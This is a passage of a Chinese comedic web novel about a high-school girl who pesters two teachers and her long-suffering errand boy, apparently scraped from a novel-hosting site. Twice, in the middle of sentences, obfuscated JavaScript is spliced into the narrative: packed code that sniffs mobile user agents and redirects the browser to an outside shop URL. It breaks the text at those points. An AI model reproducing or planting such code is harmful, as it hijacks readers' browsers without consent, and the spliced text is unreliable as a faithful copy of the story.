周二早晨,她站在五班门口,看着鲁平和张聪明共用一份早餐——一根油条,你一口我一口,像俩幼儿园小朋友——脸黑得像锅底。 “我失策了。”她对身边的大雄说,“我以为他们最多当个闺蜜,没想到直接进阶成老伴儿。” 大雄啃着包子:“老伴儿是啥?” “就是老了做伴儿。”梦萱咬牙切齿,“但他们才五十和二十多!这是忘年恋加强版!” “哦。”大雄继续啃包子,“那你还让他们当鱼吗?” “当个屁!”梦萱把包子抢过来咬了一大口,“鱼都私奔了,我还养什么鱼塘?我这是鱼塘主被鱼绿了!” 她气冲冲地走了,留下一脸懵逼的大雄。 五分钟后,梦萱的“舔狗反击战”正式打响。 第一波攻势:爱心便当。 上午第三节课,鲁平和张聪明正在办公室研究怎么用Excel做“CP亲密度曲线图”,突然听到敲门声。 开门,是梦萱。 她拎着两个粉红色的便当盒,笑容甜美得像加了十斤糖精:“鲁老师,张老师,辛苦了,这是我亲手做的便当~” 两位老师僵住了。 梦萱·亲手·做便当? 这比校长突然跳女团舞还惊悚。 “啊~这……”张聪明手抖。 “你做的?”鲁平警惕,“里面是什么?” “爱心午餐呀!”梦萱把便当盒塞他们手里,“一定要吃完哦!我会检查的!” 她蹦蹦跳跳走了。 留下两位老师,对着便当盒,像对着两颗定时炸弹。 “打开吗?”鲁平问。 “啊~打吧~”张聪明咽口水,“万一是真的呢~” 他们小心翼翼打开盒子。 然后,沉默了。 便当内容: ·米饭被捏成了心形,但捏得太用力,成了心肌梗塞形。 ·配菜是:烤焦的鸡翅(黑得像炭)、半生不熟的青菜(还带着泥)、以及迷之褐色块状物(疑似红烧肉,但更像化学实验产物)。 ·正中央插着一面小旗子,写着:「爱你们哦~」 鲁平用筷子戳了戳褐色块状物,块状物碎了,流出可疑的汤汁。 张聪明夹起鸡翅,鸡翅掉渣,渣掉在桌上,冒起一缕青烟。 两人对视。 “这能吃吗?”鲁平问。 “啊~可能……不能~”张聪明说,“但这是她亲手做的~” “你怎么知道是亲手做的?” “因为只有她能把食物做成生化武器啊~” 他们最终没敢吃,把便当盒原样盖好,藏在了档案柜最底层——和过期试卷、没批完的作业、以及校长遗忘多年的假发放在一起。 但梦萱说到做到。 下午她真的来“检查”了。 “吃完了吗?”她笑眯眯地问。 “吃、吃完了。”鲁平撒谎。 “真的?”梦萱凑近,“张嘴,我闻闻。” 鲁平张嘴:“啊——” 梦萱闻了闻:“没有鸡翅味。你们没吃。” 张聪明:“啊~我们漱口了~” “漱口也藏不住味道。”梦萱眯起眼,“行,明天我继续送,送到你们吃完为止。” 她走了。 两位老师抱头痛哭(夸张修辞,但差不多)。 “她这是要毒死我们啊~”张聪明哀嚎。 “这是报复。”鲁平分析,“报复我们在一起了。” “那我们分手啊~” “分什么手!我们根本没在一起!” 但这话说出来,他们自己都不信。 --- 第二波攻势:情诗轰炸。 周三,两位老师的办公桌上各出现了一个信封。 粉色的,喷了香水——香得发臭,像过期花露水。 鲁平拆开,里面是一张印着爱心图案的信纸,上面用歪歪扭扭的字写着: 《致鲁老师》 你的秃顶像月亮 照亮我迷茫的方向 你的破锣嗓像摇滚 震撼我幼小的心房 啊!鲁老师! 你是电!你是光!你是唯一的神话! 我只爱你!you are my super star! 落款:暗恋你的学生·萱 鲁平看完,手抖,信纸掉地上,他捡起来,又掉,反复三次。 最后他把信纸塞进碎纸机,碎纸机卡住了——可能被油腻到了。 张聪明那边更绝: 《致聪明老师》 你的“啊~”像魔咒 让我心跳加速像泵抽 你的油头像油田 让我想钻探爱的源泉 啊!张老师! 你是我的奶茶!全糖去冰加珍珠! 我只爱你!you are my bubble tea! 落款:为你痴为你狂为你哐哐撞大墙·萱 张聪明看完,沉默了十分钟。 然后他说:“啊~其实写得还挺押韵啊~” 鲁平:“???你清醒一点!” “但她夸我像奶茶啊~” “那是骂你腻!” “腻也是爱啊~” 鲁平绝望了。 他发现张聪明居然有点……享受? 更可怕的来了。 梦萱开始当面朗诵。 周四语文课(三班的课),她举手:“老师,我写了一首诗,想朗诵给大家听。” 语文老师欣慰:“好啊,梦萱同学有文学创作热情,值得鼓励。” 梦萱站起来,深情朗诵: “啊!两位老师!你们像双子星!闪耀在我的天空! 一个秃得光明磊落!一个油得坦坦荡荡! 我爱你们的秃!爱你们的油!爱你们在一起的每个瞬间! 请接受我炽热的爱!像接受食堂的免费汤!虽然难喝但是温暖!” 全班笑到桌子底下。 语文老师脸绿了:“这……这写的什么!” “爱情诗啊!”梦萱理直气壮,“我在表达对老师的敬爱!” “敬爱不是这样表达的!” “那怎么表达?像他们俩那样用一根吸管喝豆浆?” 语文老师噎住了。 下课后,诗的内容传遍了年级。 秃油CP的热度再创新高。 连校长都听说了,把两位老师叫到办公室,委婉地说:“那个……师生恋不行,师师恋……也注意影响。” 鲁平:“我们没有!” 张聪明:“啊~我们是被迫的~” 校长:“那这诗……” 鲁平:“是她单方面骚扰!” 校长:“哦……那你们处理一下。” 怎么处理? 他们不敢。 因为梦萱说了:“如果你们敢拒绝我的爱,我就每天在校园墙写一首诗,写到你们退休。” 两位老师怂了。 --- 第三波攻势:补课邀请。 周五放学,梦萱堵在办公室门口:“鲁老师,张老师,我数学和政治都不好,你们能给我补课吗?一对一,二对一也行。” 鲁平:“你不是讨厌学习吗?” “为了爱,我可以学!”梦萱握拳,“爱情让人进步!” 张聪明:“啊~但我们下班有事啊~” “什么事?回家一起看电视剧?”梦萱挑眉,“我可以加入,三人行必有我师。” 最终,他们答应了。 不是想补课,是怕她再写诗。 于是,周六上午,教师办公室出现了荒诞一幕: 梦萱坐在中间,左边鲁平讲政治,右边张聪明讲数学。 她根本没听,一会儿戳戳鲁平的秃顶:“老师,你头上怎么不长痘?” 一会儿扯扯张聪明的头发:“老师,你这发胶能粘住苍蝇吗?” 两位老师如坐针毡。 补课到一半,梦萱突然说:“我渴了。” 鲁平赶紧倒水。 “我要喝奶茶。” 张聪明:“啊~现在没有啊~” “那你们去买。”梦萱跷起二郎腿,“我要喝那家新开的,要排队一小时的那家。” 两位老师对视,眼神交流: 鲁平:去吗? 张聪明:啊~不去她会写诗~ 鲁平:那谁去? 张聪明:猜拳? 他们真的猜拳了。 鲁平赢了。 张聪明苦着脸去买奶茶。 一小时后,他回来了,拎着奶茶,满头大汗。 梦萱喝了一口,皱眉:“太甜了。” “啊~你说要全糖啊~” “我现在想喝三分糖。”梦萱说,“再去买一杯。” 张聪明:“…………” 鲁平站起来:“我去吧。” “不。”梦萱说,“就要他去。” 张聪明又去了。 这次他学聪明了,买了三杯:全糖、三分糖、无糖。 梦萱每杯喝一口,说:“都不好喝,还是倒了吧。” 她真的倒了。 倒进了办公室的盆栽里。 盆栽第二天死了。 --- 这场“舔狗攻势”持续了一周。 五班同学从震惊到麻木到嗑瓜子看戏。 洐沁的Q版小人画更新到了第十张: 第一张:梦萱头顶恶魔角,拿着便当盒追两位老师,老师跑得秃顶反光、油头飞散。 第二张:两位老师对着情诗呕吐,吐出的都是爱心。 第三张:补课场景,梦萱坐在王座上,两位老师跪着讲题。 第四张:奶茶连环杀人事件,张聪明跑断腿,鲁平在旁边给他加油(举着“加油”小旗子)。 她画完就拿给我看:“班长,怎么样?” 我:“……你画得越来越抽象了。” “这是艺术加工。”洐沁说,“不过我需要你帮忙。” “又帮什么?” “帮我收集数据。”她掏出一个表格,“记录两位老师每天被梦萱折磨后的表情变化、血压估计值、以及逃跑速度。我一个人忙不过来。” 我:“……我是班长,不是你的研究助理。” “班长就是要为同学服务。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064650|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”洐沁理直气壮,“而且你不是也想看戏吗?” 她戳中了我。 确实,这场戏太好看了。 于是我“被迫”加入了她的观察小组。 任务包括: 1. 用手机偷拍两位老师崩溃的瞬间(要高清)。 2. 记录他们每天叹气次数(我发明了“叹气计数器”APP)。 3. 估算他们发际线的后退速度(用鲁平做样本,每天测量秃顶直径)。 洐沁夸我:“班长,你很有天赋。” 我:“谢谢,但这天赋不要也罢。” --- 周一,梦萱的攻势升级了。 她不知从哪搞来了两位老师的课表,开始全程跟踪。 鲁平去上课,她就在后门偷看,还对他比心。 张聪明去开会,她就趴在窗户上,用口型说“我爱你”。 两位老师去厕所,她就在外面唱歌:“我爱老师,老师爱我,老师老师快理我~” 全校都知道了。 连扫地阿姨都问:“那俩老师是不是欠那女生钱了?” 最绝的是,梦萱开始送礼物。 不是正常的礼物,是奇葩礼物: 给鲁平送生发梳——梳齿长到能当凶器,还附带说明书:「每天梳头一百下,头发长成二维码」。 给张聪明送去油肥皂——肥皂是黑色的,洗完后皮肤也变黑,像挖煤的。 两位老师不敢不收,收了不敢用,堆在办公室角落,像犯罪证据。 周三,他们终于受不了了。 下课铃一响,两人同时冲进五班教室,一左一右抓住我: “班长!救救我们!”鲁平声音带哭腔。 “啊~我们要死了啊~”张聪明眼泪汪汪。 全班同学安静吃瓜。 我:“……我怎么救?” “让她停止!”鲁平说,“你是班长,有威信!” “啊~你去跟她说啊~说我们受不了了啊~” 我看向洐沁。 洐沁耸肩,用口型说:“答应他们。” 我只好说:“行,我试试。” --- 放学后,我在操场找到梦萱。 她正在“训练”大雄——让他做俯卧撑,她坐在他背上吃薯片。 “梦萱。”我叫她。 “哟,班长。”她没下来,“有事?” “那个……鲁老师和张老师……” “他们让你来的?”梦萱笑了,“怂了?” “嗯。” “行啊。”梦萱跳下来,“只要他们答应我一件事。” “什么事?” “分手。”梦萱说,“立刻,马上,公开分手。” 我:“……他们根本没在一起啊。” “我不管。”梦萱叉腰,“在我鱼塘里,鱼和鱼谈恋爱就是违规。要么他们分手,要么我继续。” 我回去传话。 两位老师听完,对视一眼。 鲁平:“分吗?” 张聪明:“啊~分吧~” 鲁平:“怎么分?” 张聪明:“发个声明?” 他们真的写了声明。 打印出来,贴在校园墙: 《关于鲁平老师与张聪明老师关系的严正声明》 1. 我们只是普通同事关系。 2. 我们没有在一起,以前没有,现在没有,以后也不会有。 3. 请某些同学停止不实猜测。 4. 特此声明,以正视听。 落款:鲁平、张聪明 贴完,他们松了口气。 然后,梦萱来了。 她看完声明,笑了。 笑得很开心。 “行。”她说,“那从今天起,你们重新归我管。” 两位老师:“???” “鱼塘规则重启。”梦萱掏出手机,“现在,去给我买奶茶,我要喝那家排队两小时的。” 鲁平&张聪明:“……” 他们还是去了。 因为比起被写诗、被送毒便当、被跟踪上厕所…… 买奶茶,至少能活命。 --- 那天晚上,洐沁更新了Q版画: 第十一张:两位老师举着“分手声明”,眼泪汪汪,身后是叉腰狂笑的梦萱。 第十二张:他们提着奶茶,走在夕阳下,背影凄凉,头顶飘着字:「还不如在一起」。 她把画拿给我看:“班长,你觉得结局会怎样?” 我:“不知道。” “我预测,”洐沁说,“他们最终会发现,在一起才是对抗颠婆的唯一出路。” “然后呢?” “然后……”洐沁眼睛发亮,“就会进入‘地下恋情’阶段。到时候,我们的观察就要更隐蔽了。” 她已经开始规划下一步了。 我看着她兴奋的表情,突然觉得,这个班级,这个学校,这个宇宙…… 没救了。 但你别说还挺好玩。 至少,奶茶有人买了。 至少,戏有人演了。 而我,班长程穗,只需要负责…… 递瓜子,和陪同桌发疯。 17. 第 17 章 大雄的觉醒,始于一个普通的周二早晨。 他在厕所照镜子,准备挤掉鼻子上新冒出的第八颗痘——这颗痘位置刁钻,在鼻孔边缘,像颗黑色的卫星。 挤到一半,他突然停住了。 镜子里,他的脸被痘痘点缀得像星空图,而梦萱昨天说的话在脑子里循环播放:“大雄,你这脸能当星座盘用了,以后我指哪儿你打哪儿。” 指哪儿打哪儿。 跟班。 工具人。 大雄的手开始抖。 不是生气,是哲学性颤抖。 他盯着镜子里的自己,缓缓开口,声音在空荡的厕所产生回音: “我……是谁?” “我是张大雄,17岁,体重140斤,鼻子很大,痘痘很多。” “我为什么在这里?” “因为梦萱让我陪她买早餐。” “我存在的意义是什么?” “给她拎书包、挤痘痘、当人肉沙包、以及在她骂人时点头说‘你说得对’。” 厕所隔间里传来同学憋笑的声音。 大雄没理,继续深度思考: “如果我只是工具……那我和这个水龙头有什么区别?” 他拧开水龙头。 水哗哗流。 “看,水龙头也能出水,我也能出汗。但它不用被骂,我要。” “这不公平。” 大雄关掉水龙头,表情庄严得像刚顿悟的佛陀。 他决定了: 从今天起,不做工具人。 --- 上午体育课,梦萱像往常一样下令:“大雄,去给我买水,要冰的但不能太冰——” “你自己去。”大雄打断她。 梦萱愣住,掏掏耳朵:“你再说一遍?” “我说,”大雄一字一顿,“你、自、己、去。” 全场寂静。 连树上打盹的麻雀都惊醒了。 梦萱眯起眼,声音危险:“你造反了?” “我在主张平等权利。”大雄认真地说,“根据《中学生守则》第三条,同学之间应该互相尊重。你让我买水108次,我让你买0次,这不尊重。” 梦萱:“???” 她绕着大雄转了三圈,像在检查他是不是被外星人附体了。 “你脑子被铅球砸了?”她戳他额头。 “没有。”大雄躲开,“我只是觉醒了。” “觉醒什么?” “我不是你的工具。”大雄挺起胸膛——虽然他胸肌很大,但此刻更像正义的盾牌,“我是独立的个体,有独立的人格,有说‘不’的权利。” 梦萱盯着他看了十秒。 然后她笑了,笑到蹲在地上拍大腿: “哈哈哈哈哈哈!独立人格!你说这话的时候鼻子上那颗痘还在发光呢!笑死我了!” 大雄摸了摸鼻子,那颗第八痘确实在阳光下有点反光。 但他没退缩:“痘不影响我的人格完整性。” “行。”梦萱站起来,拍拍手,“那从今天起,你不是我的人了。滚吧。” 她转身就走。 走了三步,回头:“真滚?” 大雄:“嗯。” “不后悔?” “不后悔。” 梦萱的脸黑了。 她没想到,这个憨憨跟班,居然真的敢。 --- 消息在课间传遍全校。 洐沁第一时间冲到我座位,眼睛发光:“重大事件!工具人起义了!” 她掏出Q版画本,飞速作画: 第一张:大雄在厕所照镜子,头顶冒出巨大的思想泡泡,里面写着:“我是谁?我在哪?我为什么要挤痘?” 第二张:大雄对梦萱说“不”,背景是爆炸特效,梦萱头顶冒出“???”。 第三张:梦萱气成河豚,腮帮子鼓成球。 画完,她递给我看:“班长,怎么样?” 我:“……你画得越来越快了。” “灵感爆发。”洐沁说,“我需要你帮忙监视后续发展。” “又我?” “你是班长,有责任维护班级稳定。”洐沁把望远镜塞给我,“现在,去窗户边,观察操场动向。” 我:“你个撒比。” 我被迫举着望远镜。 操场上,大雄正在一个人跑步——以前他都是陪梦萱跑。 梦萱坐在看台上,盯着他,眼神像要在他背上烧出两个洞。 她掏出手机,打电话。 一分钟后,鲁平和张聪明气喘吁吁地跑到操场。 “梦萱同学,什么事啊~”张聪明抹汗。 “大雄造反了。”梦萱指着跑步的大雄,“你们去,把他劝回来。” 鲁平:“怎么劝?” “告诉他,当工具人是他的福报。” 张聪明:“啊~这不好说啊~” 但梦萱的眼神太吓人,他们只好去了。 两位老师跑到大雄旁边,一边一个,陪跑。 鲁平:“大雄同学,梦萱同学很关心你。” 大雄:“她只关心我能不能买水。” 张聪明:“啊~那也是关心的一种啊~” 大雄:“那叫使唤。” 鲁平:“其实……有人使唤,也是一种存在价值的体现。” 大雄停下脚步,看向鲁平:“老师,如果有人天天让你买奶茶,你乐意吗?” 鲁平想到被梦萱支配的恐惧,沉默了。 张聪明试图讲道理:“啊~年轻人要多经历磨难啊~” 大雄:“磨难不等于当奴才。” 两位老师败下阵来。 他们跑回看台,对梦萱摇头:“劝不动,他觉醒得太彻底了。” 梦萱气得把矿泉水瓶捏扁了。 --- 下午,大雄的“觉醒行动”升级。 1. 拒绝挤痘服务 梦萱拿着痘痘贴找他:“大雄,这颗熟了。” 大雄:“你自己挤。” “我近视!” “戴眼镜。” “眼镜坏了!” “那别挤了,让它自然成熟脱落。” 梦萱:“……” 2. 要求平等对话 梦萱:“喂,去小卖部。” 大雄:“请说‘请’。” “……请你去小卖部。” “抱歉,我现在不想去。” 梦萱抓起书包扔他,大雄接住,放回她桌上:“暴力不能解决问题。” 3. 甚至开始反向使唤 大雄:“梦萱,能帮我买瓶水吗?” 梦萱:“???你让我买水?” “同学之间互相帮助。”大雄掏出五块钱,“要冰的,谢谢。” 梦萱盯着那五块钱,像盯着外星货币。 她没接钱,而是转身走了。 走到楼梯拐角,她突然蹲下,抱头,发出压抑的咆哮:“他妈的他居然让我买水!他居然敢!啊啊啊啊啊啊啊啊啊啊啊!!!” 路过的一班同学吓得贴墙溜走。 --- 这一切,都被洐沁记录在案。 她的Q版画更新: 第四张:大雄头顶亮起灯泡,灯泡里写着“独立人格”,梦萱在旁边拿锤子想砸灯泡。 第五张:两位老师陪跑,累成狗,头顶飘字:“年轻人的体力……不服不行。” 第六张:梦萱蹲在楼梯角,背景是乌云闪电,配字:“我的工具……他有了自己的想法!” 画完,她粘着我:“班长,你觉得大雄能坚持多久?” 我:“不知道,但梦萱不会善罢甘休。” “没错。”洐沁点头,“我预测她会启动‘镇压程序’。” 果然,放学后,梦萱的镇压开始了。 她召集了三个跟班——都是被她骂服的低年级小弟,组成“工具人回收小队”。 小队埋伏在校门口,等大雄出来。 大雄刚踏出校门,三人围上去。 小弟A:“雄哥,梦萱姐让你回去。” 大雄:“不回。” 小弟B:“她说请你喝奶茶。” 大雄:“不喝。” 小弟C:“她说……给你买篮球。” 大雄犹豫了一秒,还是摇头:“不要。” 工具人回收失败。 梦萱在不远处看着,脸黑得像锅底。 她亲自上场,走到大雄面前,深吸一口气,挤出一个扭曲的笑容: “大雄,我们谈谈。” “谈什么?” “谈谈……你的需求。”梦萱咬牙切齿,“你想要什么?平等?尊重?我都可以给。” 大雄:“真的?” “真的。” “那先道歉。”大雄说,“为你过去108次使唤我道歉。” 梦萱的笑容僵在脸上。 道歉? 她梦萱字典里没有这两个字! 但她忍了。 从牙缝里挤出三个字:“对、不、起。” 大雄点头:“好,我接受。” “那现在能回来了吗?” “不能。”大雄说,“我还要观察你的后续表现。” 梦萱:“…………”啊啊啊啊啊这个脑残!!!! 她转身,一脚踹在校门柱子上,柱子没事,她脚疼得龇牙咧嘴。 大雄默默递过来一张创可贴:“贴一下吧。” 梦萱盯着创可贴,没接,而是红着眼眶吼:“你他妈到底想怎样!” 大雄被吼愣了,小声说:“就想……你对我好点。” 梦萱也愣了。 两人在夕阳下对视,一个眼眶发红,一个憨憨呆立。 像极了劣质青春剧的剧照。 当然,如果忽略背景里偷拍的洐沁,和嗑瓜子的我 --- 晚上,洐沁在五班群里发布最新观察报告: 《工具人觉醒事件阶段性分析》 1. 起义动机:厕所哲学顿悟(可能和那颗第八痘有关)。 2. 目前成果:成功拒绝挤痘1次、买水1次、反向使唤1次。 3. 梦萱反应:从愤怒到试图收买到崩溃边缘。 4. 两位老师反应:暗中给大雄点赞,并偷偷送了他一本《独立人格培养手册》(虽然书是盗版的,里面还有养猪教程)。 5. 预测:梦萱将在48小时内发动总攻,手段可能包括:苦肉计、美人计(?)、或者直接绑架。 群里沸腾了: 「大雄牛逼!」 「梦萱居然道歉了?!」 「那本养猪教程是我捐的!没想到用上了!」 「赌五毛,梦萱下一步是装病。」 洐沁私聊我:“班长,明天是关键,需要你近距离观察。” 我:“怎么近距离?” “我申请了‘学生会调解员’身份,你可以当我的助理。”洐沁发来一张伪造的申请表,“我们去调解他们的矛盾。” “这能行?” “试试呗。”洐沁说,“反正最坏结果就是被梦萱骂一顿,你习惯了的。” 我:“……” 无法反驳。 --- 第二天,大雄的觉醒进入新阶段:他开始给自己挤痘了。 早晨,他对着厕所镜子,拿着痘痘贴,手法生疏但认真。 梦萱路过,看到他,冷哼一声:“挤啊,继续挤,挤出血别找我。” 大雄没理她,继续挤。 挤完,他对着镜子说:“看,没有你,我也能行。” 梦萱脚步一顿,回头瞪他。 大雄转头,对她露出一个憨憨但坚定的笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064651|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 梦萱像被雷劈了,愣在原地三秒,然后快步走了。 背影有点仓皇。 洐沁拍下这一幕,画成Q版: 第七张:大雄对着镜子挤痘,头顶飘着“独立宣言”,梦萱在门口石化,碎成一片片。 “经典镜头。”洐沁满意,“这张可以入选年度抽象大赏。” 上午课间,我和洐沁正式介入。 我们找到大雄,洐沁拿出小本本:“张大雄同学,我们是学生会调解员,想了解你和梦萱同学的矛盾。” 大雄老实交代:“我不想当工具人了。” 洐沁:“具体诉求是?” “平等对待,互相尊重,以及……”大雄想了想,“她偶尔也可以帮我买水。” 我:“……最后一条才是重点吧?” 我们又找到梦萱。 她正在天台上踹栏杆,栏杆发出悲鸣。 栏杆:我的沉默震耳欲聋。 “梦萱同学,”洐沁开口,“关于你和大雄同学的矛盾——” “没矛盾!”梦萱打断,“他就是个叛徒!” “但他说想要平等。” “平等个屁!他一个跟班要什么平等!” “跟班也有人权。”我说。 梦萱瞪我:“班长,你也造反?” “我只是陈述事实。”我后退半步,躲到洐沁身后。 洐沁推了推眼镜:“梦萱同学,如果你不调整对待大雄的方式,可能会永久失去这个跟班。” 梦萱沉默了。 她看向远处操场,大雄正在和同学打篮球——以前他只会陪她一个人打。 他笑得很开心。 那种笑,不是憨笑,是自由的笑。 梦萱突然觉得心里空了一块。 像丢了个用了很久的旧书包,虽然破,但顺手。 她咬牙:“行,我改。” 洐沁:“怎么改?” “我……”梦萱憋了半天,“我以后不说‘喂’,说‘请’。” “还有呢?” “不让他买水了。” “还有?” “挤痘……让他自己挤。” 她说得无比艰难,像在咽玻璃碴。 洐沁记录:「初步妥协,但诚意不足。」 --- 下午,梦萱真的尝试了。 体育课,她走到大雄面前,张嘴,又闭上,再张嘴,脸憋得通红。 最后她说:“请……帮我买瓶水。” 声音小得像蚊子叫。 大雄愣住:“你说什么?” “我说请帮我买瓶水!”梦萱吼出来,然后脸更红了。 大雄看着她,突然笑了:“好。” 他去了。 回来时,不仅买了水,还买了她爱吃的薯片。 梦萱接过,表情复杂:“你……不生气了?” “你道歉了,我接受了。”大雄说,“现在我们是平等关系。” “平等关系……”梦萱咀嚼这个词,“那平等关系里,我还能使唤你吗?” “偶尔可以。”大雄说,“但我也能使唤你。” “比如?” “比如明天帮我买早餐。” 梦萱:“……行。” 她拆开薯片,吃了一口,突然说:“你脸上那颗痘,快好了。” “嗯,我自己挤的。” “手法太烂,留印子了。” “那怎么办?” “……”梦萱扭头,“下次我教你。” 大雄笑了:“好。” 夕阳下,两人并排坐着,一个吃薯片,一个喝水。 画面竟然有点和谐。 远处,洐沁按下快门,画下最终章: 第八张:梦萱和大雄坐在看台上,头顶分别飘着“前主人”和“前工具人”,中间连着“平等条约”,背景是夕阳和鸽子(其实是麻雀,但她画成了鸽子,因为鸽子象征和平)。 她给我看:“结局了?” “暂时吧。”我说,“但以梦萱的性格,坚持不了三天。” “那不重要。”洐沁合上本子,“重要的是,我们见证了历史。” 确实。 见证了工具人起义。 见证了颠婆妥协。 见证了这个世界,荒诞中透着一丝合理。 --- 放学时,鲁平和张聪明找到我们。 鲁平:“调解成功了?” 洐沁:“阶段性成功。” 张聪明:“啊~那他们还会在一起吗~” “会,但关系重组了。”洐沁说,“从主仆变成……合作伙伴。” 鲁平:“那我们呢?” “你们?”洐沁看他一眼,“你们继续当你们的CP,别掺和年轻人的事。” 两位老师松了口气。 他们还真怕梦萱失去大雄后,又把注意力转回他们身上。 现在好了,安全了。 他们手拉手(?)走了,背影轻松。 我看向洐沁:“你的研究结束了?” “没有。”洐沁眼睛发亮,“新课题来了:《论平等关系中的权力博弈——以前主仆关系为例》。” “还要研究?” “当然。”她粘过来,“班长,下个阶段需要你帮我设计调查问卷……” 我转身就走。 “班长!别跑啊!问卷很简单的!” “我作业没写完!” “我帮你写!” “不用!” 夕阳下,我跑,她追,我插翅难飞。 像极了这个抽象高中里,唯一正常的追逐。 虽然所谓的“正常”,也只是相对而言。 毕竟,在这个学校,正常是病。 而我和我的同桌,一个在努力治病,一个在认真记录病情。 绝配。 18. 第 18 章 梦萱宣布要召开“四方会谈”时,全校都以为她在开玩笑。 直到她把会议通知贴在了每个班级的前后门、厕所隔间、食堂打饭窗口、以及校长办公室的门把手上。 通知用红色马克笔写成,标题加粗加下划线加荧光: 《关于鱼塘主权及附属关系重构的紧急四方会谈通知》 参会人员: 1. 鱼塘主:梦萱(本人) 2. 前工具人现平等伙伴:张大雄 3. 前秃顶鱼现CP成员:鲁平 4. 前油腻鱼现CP成员:张聪明 5. 特邀观察员:洐沁(那个画画的) 6. 被迫记录员:程穗(班长,来当苦力) 会议时间:周五放学后 会议地点:学校天文台(因为“站得高看得远,适合谈人生”) 会议要求:必须到场,否则后果自负(包括但不限于写诗、送毒便当、在校园墙曝光黑历史) 鲁平和张聪明收到通知时,正在办公室分吃一包辣条——两人吃一根,你咬一口我咬一口,像小学生。 看到通知,辣条掉地上了。 “她来真的?”鲁平声音发抖。 “啊~天文台……爬五层楼啊~”张聪明摸肚子,“我爬不动啊~” “爬不动也得爬,除非你想被她写进诗里。” 张聪明想到那些“你是我的奶茶”系列情诗,打了个寒颤:“爬!我爬!” 大雄那边比较平静。 他正在给自己贴痘痘贴,对着镜子调整角度。 通知是梦萱亲自送来的,拍在他桌上:“周五,天文台,不来你就死定了。” 大雄:“哦。” “就‘哦’?” “知道了。” 梦萱盯着他,想说什么,最终咬牙走了。 洐沁拿到通知时,眼睛亮得像探照灯。 她立刻来找我,手里抱着她的Q版画本和三支不同颜色的笔(红笔记录冲突,蓝笔记录和解,黑笔记录抽象言论)。 “班长,历史性时刻!”她推了推不存在的眼镜——这个动作她现在做得越来越自然了,虽然她根本不近视,“四方会谈,这是解决复杂人际关系的最佳模型!” 我:“……你看起来好兴奋。” “当然!”她说,“这种多边谈判在人类学上极为罕见,尤其是谈判主题是‘鱼塘管理’和‘工具人地位’。我已经设计好了观察表格。” 她掏出一张A3纸,上面画着复杂的流程图: 会谈开始→梦萱立威→大雄反抗→两位老师搅局→洐沁分析→程穗崩溃→会议破裂或达成荒谬协议 “这个‘程穗崩溃’是什么?”我指着中间环节。 “必然环节。”洐沁理所当然,“你是全场唯一的正常人,肯定会崩溃。我已经预留了记录空间。” 我:“……”谢谢您嘞。 --- 周五放学,天文台。 这个天文台建于八十年代,早就废弃了,里面堆满破旧仪器和灰尘,中间有张缺腿的会议桌,用砖头垫着。 梦萱已经坐在主位——她把校长的真皮办公椅搬上来了,坐在上面像女王。 大雄坐在她左边,正用纸巾擦椅子上的灰。 鲁平和张聪明坐在她右边,两人挤一张长凳,因为另一张凳子被梦萱扔下楼了——“看着碍眼”。 我和洐沁坐在对面,面前摆着本子和笔。 “人都齐了。”梦萱敲了敲桌子——桌子发出呻吟,“现在,会议开始。首先,明确会议主题:我的鱼塘,到底谁说了算?” 鲁平举手:“那个……我们不是已经分手……不是,已经退出鱼塘了吗?” “单方面退出无效。”梦萱瞪他,“只要我还没宣布解散鱼塘,你们就还是我的鱼。” 张聪明:“啊~这不合理啊~” “合理?”梦萱笑了,“我梦萱的字典里没有合理这两个字。” 洐沁飞速记录:「开场:威权式定调,拒绝民主协商。」 大雄开口:“那我现在是什么鱼?” “你……”梦萱卡壳了,“你是……平等鱼。” “平等鱼也要归鱼塘管?” “当然!” “那就不平等。” 逻辑闭环了。 梦萱噎住,脸涨红。 洐沁推了推不存在的眼镜:「大雄运用逻辑攻击,效果显著。」 “行,那你想要什么?”梦萱看向大雄。 “我想要……”大雄想了想,“你偶尔也给我买水。” “就这?” “还有,别老骂我。” “还有呢?” “痘痘我自己挤,但你可以指导。” 要求朴实得让人心疼。 梦萱表情松动:“就这些?” “嗯。” “那行,我答应。”梦萱大手一挥,“现在,你们两个。” 她指向鲁平和张聪明。 两人坐直。 “你们,公开谈恋爱,严重影响鱼塘生态。”梦萱严肃得像教导主任,“现在给你们两个选择:一,分手,回来当我的鱼;二,继续谈,但每月上交‘恋爱税’。” 鲁平:“什么是恋爱税?” “就是给我买零食,每周至少一次,价值不低于五十。” 张聪明:“啊~这算敲诈吧~” “这叫管理费。”梦萱理直气壮,“你们在我的鱼塘里谈恋爱,占用了我的情感资源,不该付费吗?” 洐沁记录:「引入经济学概念,将情感关系货币化,新颖。」 鲁平和张聪明对视。 用眼神交流: 鲁平:给吗? 张聪明:啊~不给会被写诗~ 鲁平:那给吧。 张聪明:啊~但我零花钱不够了~ 鲁平:我出。 他们点头:“我们选二。” 梦萱满意:“很好。那接下来,重新制定鱼塘规则。” 她掏出一张纸,开始念: 《新鱼塘管理章程v3.0》 1. 鱼塘主(梦萱)拥有最终解释权、惩罚权、及零食分配权。 2. 平等鱼(大雄)享有有限自主权,包括但不限于:自己买水、自己挤痘、拒绝不合理要求(需提前申请)。 3. 